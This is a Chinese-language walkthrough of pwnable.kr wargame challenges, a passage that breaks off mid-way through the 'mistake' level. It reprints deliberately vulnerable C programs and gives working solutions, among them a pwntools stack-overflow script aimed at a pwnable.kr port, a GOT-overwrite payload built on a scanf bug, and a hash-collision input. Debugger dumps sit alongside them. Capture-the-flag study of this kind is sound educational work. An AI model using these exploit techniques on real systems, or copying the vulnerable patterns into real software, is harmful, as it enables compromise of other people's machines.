0x01 fd
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
文件描述符 0、1、2分别代表标准输入、标准输出和标准错误,所以输入0x1234的十进制值,再次输入LETMEWIN即可
0x02 collision
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i]; //把传过来的参数强制转换为整数相加返回
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
这个问题的关键是我们输入20字节的数据被转换成了什么,20字节,每个字节都表示一个字符,但是一个整形数据是四个字节,所以,就被转换成了五个整形数据。这里输入的前几个字符好像不能是\x00,因为它表示null,\x09表示的是制表符,
- 输入:
col@ubuntu:~$ ./col `python -c "print '\x01\x01\x01\x01'*4+'\xe8\x05\xd9\x1d'"`
daddy! I just managed to create a hash collision :)
- 得到:
flag: daddy! I just managed to create a hash collision :)
0x03 bof
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
很明显的栈溢出 使用了gets这个危险的函数,直接附上代码
from pwn import *
conn= remote("pwnable.kr",9000)
payload='A'*52 + p32(0xcafebabe)
conn.sendline(payload)
conn.interactive()
flag:daddy, I just pwned a buFFer :)
0x04 flag
1 首先得到了一个flag文件 elf-64位,IDA查看发现
LOAD:000000000044A4F0 start proc near
LOAD:000000000044A4F0 call loc_44A770
LOAD:000000000044A4F5 push rbp
LOAD:000000000044A4F6 push rbx
LOAD:000000000044A4F7 push rcx
LOAD:000000000044A4F8 push rdx
LOAD:000000000044A4F9 add rsi, rdi
LOAD:000000000044A4FC push rsi
LOAD:000000000044A4FD mov rsi, rdi
LOAD:000000000044A500 mov rdi, rdx
LOAD:000000000044A503 xor ebx, ebx
LOAD:000000000044A505 xor ecx, ecx
LOAD:000000000044A507 or rbp, 0FFFFFFFFFFFFFFFFh
LOAD:000000000044A50B call sub_44A560
LOAD:000000000044A510 add ebx, ebx
LOAD:000000000044A512 jz short loc_44A516
LOAD:000000000044A514 rep retn
- 明显的UPX压缩过了,以上代码是UPX的入口
- upx -d flag 解压缩后,再次使用IDA查看关键位置
.text:0000000000401164 public main
.text:0000000000401164 main proc near ; DATA XREF: _start+1D�o
.text:0000000000401164
.text:0000000000401164 var_8 = qword ptr -8
.text:0000000000401164
.text:0000000000401164 push rbp
.text:0000000000401165 mov rbp, rsp
.text:0000000000401168 sub rsp, 10h
.text:000000000040116C mov edi, offset aIWillMallocAnd ; "I will malloc() and strcpy the flag the"...
.text:0000000000401171 call puts
.text:0000000000401176 mov edi, 64h
.text:000000000040117B call malloc
.text:0000000000401180 mov [rbp+var_8], rax
.text:0000000000401184 mov rdx, cs:flag
.text:000000000040118B mov rax, [rbp+var_8]
.text:000000000040118F mov rsi, rdx
.text:0000000000401192 mov rdi, rax
.text:0000000000401195 call sub_400320
.text:000000000040119A mov eax, 0
.text:000000000040119F leave
.text:00000000004011A0 retn
.text:00000000004011A0 main endp
- 然后跟进flag查看
.rodata:0000000000496628 aUpx___?SoundsL db 'UPX...? sounds like a delivery service :)',0
0x05 passcode
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
查看源码我们注意到这个程序在输入passcode的时候,是没有取地址符的,这就导致了一个安全问题
-
这里有个知识点:如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址
在调用welcome函数和login函数处下断点查看栈的变化情况,此时ebp为EBP: EBP: 0xbffff408 --> 0xbffff428 --> 0x0
[----------------------------------registers-----------------------------------]
EAX: 0x28 ('(')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xb7fb4870 --> 0x0
ESI: 0xb7fb3000 --> 0x1aedb0
EDI: 0xb7fb3000 --> 0x1aedb0
EBP: 0xbffff408 --> 0xbffff428 --> 0x0
ESP: 0xbffff408 --> 0xbffff428 --> 0x0
EIP: 0x804860c (<welcome+3>: sub esp,0x88)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048604 <login+160>: call 0x8048480 <exit@plt>
0x8048609 <welcome>: push ebp
0x804860a <welcome+1>: mov ebp,esp
=> 0x804860c <welcome+3>: sub esp,0x88
0x8048612 <welcome+9>: mov eax,gs:0x14
0x8048618 <welcome+15>: mov DWORD PTR [ebp-0xc],eax
0x804861b <welcome+18>: xor eax,eax
0x804861d <welcome+20>: mov eax,0x80487cb
[------------------------------------stack-------------------------------------]
0000| 0xbffff408 --> 0xbffff428 --> 0x0
0004| 0xbffff40c --> 0x804867f (<main+26>: call 0x8048564 <login>)
0008| 0xbffff410 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.")
0012| 0xbffff414 --> 0x8048250 --> 0x6e ('n')
0016| 0xbffff418 --> 0x80486a9 (<__libc_csu_init+9>: add ebx,0x194b)
0020| 0xbffff41c --> 0x0
0024| 0xbffff420 --> 0xb7fb3000 --> 0x1aedb0
0028| 0xbffff424 --> 0xb7fb3000 --> 0x1aedb0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804860c in welcome ()
我们运行到login函数里边的scanf函数处,发现此时的ebp的值仍然和welcome的时候一样
gdb-peda$
[----------------------------------registers-----------------------------------]
EAX: 0x8048783 --> 0x65006425 ('%d')
EBX: 0x0
ECX: 0x0
EDX: 0xb7e630db (<_IO_puts+11>: add ebx,0x14ff25)
ESI: 0xb7fb3000 --> 0x1aedb0
EDI: 0xb7fb3000 --> 0x1aedb0
EBP: 0xbffff408 --> 0xbffff428 --> 0x0
ESP: 0xbffff3e0 --> 0x8048783 --> 0x65006425 ('%d')
EIP: 0x8048586 (<login+34>: call 0x80484a0 <__isoc99_scanf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804857c <login+24>: mov edx,DWORD PTR [ebp-0x10]
0x804857f <login+27>: mov DWORD PTR [esp+0x4],edx
0x8048583 <login+31>: mov DWORD PTR [esp],eax
=> 0x8048586 <login+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x804858b <login+39>: mov eax,ds:0x804a02c
0x8048590 <login+44>: mov DWORD PTR [esp],eax
0x8048593 <login+47>: call 0x8048430 <fflush@plt>
0x8048598 <login+52>: mov eax,0x8048786
Guessed arguments:
arg[0]: 0x8048783 --> 0x65006425 ('%d')
arg[1]: 0xb7e630db (<_IO_puts+11>: add ebx,0x14ff25)
[------------------------------------stack-------------------------------------]
0000| 0xbffff3e0 --> 0x8048783 --> 0x65006425 ('%d')
0004| 0xbffff3e4 --> 0xb7e630db (<_IO_puts+11>: add ebx,0x14ff25)
0008| 0xbffff3e8 --> 0x0
0012| 0xbffff3ec --> 0xb7fb3d60 --> 0xfbad2a84
0016| 0xbffff3f0 --> 0xbffff428 --> 0x0
0020| 0xbffff3f4 --> 0xb7feff10 (<_dl_runtime_resolve+16>: pop edx)
0024| 0xbffff3f8 --> 0xb7e630db (<_IO_puts+11>: add ebx,0x14ff25)
0028| 0xbffff3fc --> 0x2cf92300
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048586 in login ()
gdb-peda$
enter passcode1 :
这样的话,我们需要用到以下知识
-
GOT表:
概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。
作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。
-
PLT表:
过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目
当main()函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。
动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.
-
解题思路
将一个GOT表中的函数地址写到栈中,用来充当scanf()取的地址,然后把system("/bin/cat flag")这条指令的地址写到这个GOT表中的函数。
当这个函数被调用时,就会直接执行system("/bin/cat flag")
仔细观察我们会发现: 这里调用了fflush函数,因此我们可以覆盖fflush在GOT表中的内容,让程序去执行system("/bin/cat flag")
=> 0x8048586 <login+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x804858b <login+39>: mov eax,ds:0x804a02c
0x8048590 <login+44>: mov DWORD PTR [esp],eax
0x8048593 <login+47>: call 0x8048430 <fflush@plt>
gdb-peda$ disas login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af //这里是调用system函数的地方,也就是说要把0x80485e3这个值写入fflush()中
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
gdb-peda$
查看fflush在got表中的位置:
passcode@ubuntu:~$ readelf -r passcode
Relocation section '.rel.dyn' at offset 0x388 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__
0804a02c 00000b05 R_386_COPY 0804a02c stdin@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x398 contains 9 entries:
Offset Info Type Sym.Value Sym. Name
0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
fflush()位于0x0804a004
现在我们明确了攻击的方式,以数据0x80485e3覆写位于0x0804a004的fflush()函数的GOT表,之后要做的就是在栈中构造这些信息,而且welocome()和login()使用的是同一个EBP
name 的位置: ebp-0x70 (0x0xbffff408 - 0x70)
[-------------------------------------code-------------------------------------]
0x804861d <welcome+20>: mov eax,0x80487cb
0x8048622 <welcome+25>: mov DWORD PTR [esp],eax
0x8048625 <welcome+28>: call 0x8048420 <printf@plt>
=> 0x804862a <welcome+33>: mov eax,0x80487dd
0x804862f <welcome+38>: lea edx,[ebp-0x70]
0x8048632 <welcome+41>: mov DWORD PTR [esp+0x4],edx
0x8048636 <welcome+45>: mov DWORD PTR [esp],eax
0x8048639 <welcome+48>: call 0x80484a0 <__isoc99_scanf@plt>
[------------------------------------stack-------------------------------------]
passcode 的位置: ebp-0x10 (0x0xbffff408 - 0x10)
[-------------------------------------code-------------------------------------]
0x804856f <login+11>: mov DWORD PTR [esp],eax
0x8048572 <login+14>: call 0x8048420 <printf@plt>
0x8048577 <login+19>: mov eax,0x8048783
=> 0x804857c <login+24>: mov edx,DWORD PTR [ebp-0x10]
0x804857f <login+27>: mov DWORD PTR [esp+0x4],edx
0x8048583 <login+31>: mov DWORD PTR [esp],eax
0x8048586 <login+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x804858b <login+39>: mov eax,ds:0x804a02c
[------------------------------------stack-------------------------------------]
|低地址
| name ebp-70
|
|
|
|
| passcode ebp-10 |
|高地址 ebp | login 函数开辟的栈空间小,所以name过小的话看不到
0x70 - 0x10 = 96,也就是说name这个字符串第96个字节后的4字节数据将会被作为passcode1的地址。
刚才说我们把调用system函数的地方,也就是说要把0x80485e3这个值写入fflush()中,而且fflush的地址0x0804a004
所以构造
python -c "print ('a'*96+'\x04\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode
相当于把134514147 这个值写入got表中fflush的位置直接调用了system("/bin/cat flag")函数
,把passcode1的地址覆盖成fflush或者printf或者exit的地址,然后利用scanf函数把system的地址覆写过去。这样等调用fflush或者printf或者exit的就调用成了system。
flag:Sorry mom.. I got confused about scanf usage :(
【参考链接】:
0x06 random
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
- 产生整数rand的原理是:
y=(ax+b)(mod n)。其中n一般是一个很大的素数(几万)。a也是大素数,而且a,b,n都是常数。所以rand的产生决定于x,他被称seed。每一个seed都是上一次产生的y的函数。这样,如果直接取seed=y的话,虽然产生的rand之间相关性甚小,但只要知道某个y,就能推知以后的rand。 为避免这种情况,一般取seed为y和当时计算机的时间的函数,如seed=y+t系统里的随机数是利用初等数论中的同余定理来实现的. 比如C中对于rand()函数是如下实现的.
unsigned long int next = 1;
/* rand: return pseudo-random integer on 0..32767 */
int rand(void)
{
next = next * 1103515245 + 12345;
return (unsigned int)(next / 65536) % 32768;
}
/* srand: set seed for rand() */
void srand(unsigned int seed)
{
next = seed;
}
因此只需要:
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
printf("%d",random ^ 0xdeadbeef);
return 0;
}
编译运行后得到:-1255736440
random@ubuntu:~$ ./random
-1255736440
Good!
Mommy, I thought libc random is unpredictable...
random@ubuntu:~$
0x07 input
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
解题脚本:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main (){
//Stage 1
char *argv[101] = {"/home/input2/input", [1 ... 99] = "A", NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
argv['C'] = "55555";
//Stage 2
int pipe2stdin[2] = {-1,-1};
int pipe2stderr[2] = {-1,-1};
pid_t childpid;
if ( pipe(pipe2stdin) < 0 || pipe(pipe2stderr) < 0){
perror("Cannot create the pipe");
exit(1);
}
//Stage 4
FILE* fp = fopen("\x0a","w");
fwrite("\x00\x00\x00\x00",4,1,fp);
fclose(fp);
if ( ( childpid = fork() ) < 0 ){
perror("Cannot fork");
exit(1);
}
if ( childpid == 0 ){
/* Child process */
close(pipe2stdin[0]); close(pipe2stderr[0]); // Close pipes for reading
write(pipe2stdin[1],"\x00\x0a\x00\xff",4);
write(pipe2stderr[1],"\x00\x0a\x02\xff",4);
}
else {
/* Parent process */
close(pipe2stdin[1]); close(pipe2stderr[1]); // Close pipes for writing
dup2(pipe2stdin[0],0); dup2(pipe2stderr[0],2); // Map to stdin and stderr
close(pipe2stdin[0]); close(pipe2stderr[1]); // Close write end (the fd has been copied before)
// Stage 3
char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
execve("/home/input2/input",argv,env); // Execute the program
perror("Fail to execute the program");
exit(1);
}
// Stage 5
sleep(5);
int sockfd;
struct sockaddr_in server;
sockfd = socket(AF_INET,SOCK_STREAM,0);
if ( sockfd < 0){
perror("Cannot create the socket");
exit(1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_port = htons(55555);
if ( connect(sockfd, (struct sockaddr*) &server, sizeof(server)) < 0 ){
perror("Problem connecting");
exit(1);
}
printf("Connected\n");
char buf[4] = "\xde\xad\xbe\xef";
write(sockfd,buf,4);
close(sockfd);
return 0;
}
scp -P 2222 inputpwn.c input2@pwnable.kr:/tmp
ln -s /home/input/flag flag
gcc inputpwn.c -o input
./input
flag:Mommy! I learned how to pass various input in Linux :)
0x08 leg
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)
- 先看key1():
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
关键部分是
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
这里先科普一下网上找到的资料:
1 返回值:
1) X86采用eax作为返回值。
return i; 2d: 89 c0 mov %eax,%eax
2) ARM使用r0作为返回值。
RETURN I; 4C: E1A00003 MOV R0, R3
2 参数传递
1) X86:主要是采用堆栈,除非指定以寄存器传递(通过"regparm (NUMBER)"注:NUMBER<=3指定)。
如果指定寄存器传递参数,则eax为第一个参数,edx为第二个参数, ecx为第三个参数。
int hello(int );
t=hello(13); 9: 6a 0d push $0xd
b: e8 fc ff ff ff call <hello>
2) ARM:寄存器到堆栈,首先将参数赋给r0, r1等,同时,未经优化的代码,在函数的堆栈中,也会为每个参数预留一个参数堆栈。
ARM的参数结构看起来比较奇怪,对其的解释是:出于效率考虑,如果在函数中的寄存器足够分配的话,则经过优化后,它不会进栈,而直接使用寄存器即可。这样的方式可以保证优化只局限于函数内部,实际上一般使用-O优化过的代码最终普遍在函数中不再进栈的。
int hello(int );
t=hello(13);
未优化: 10: e3a0000d mov r0, #13 ; 0xd
14: ebfffffe bl <hello>
... ...
<hello>
......
3c: e50b0010 str r0, [fp, -#16]
优化后:-O选项
4: e3a0000d mov r0, #13 ;
...
bl <hello>
...
1c: e1a0f00e mov pc, lr
参考:
ARM状态结构小记 http://blog.csdn.net/qq_19550513/article/details/62038580
ARM寄存器结构小记 http://blog.csdn.net/qq_19550513/article/details/62044295
所以 R0 = R3 = 0x00008cdc + 8 = 0x00008ce4
- 看key2():
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
bx r6在r6地址处切换成thumb模式。在thumb模式下pc = 当前地址+4。
r0 =r3 = 0x00008d04 +4+4= 0x00008d0c
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)
r0等于lr即key3()函数的返回地址0x00008d80。
这三个数相加后结果为 0x0001a770 = 108400(d) 。
My daddy has a lot of ARMv5te muscle!
0x09 mistake
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
- 关键在于:
fd=open("/home/mistake/password",O_RDONLY,0400) < 0
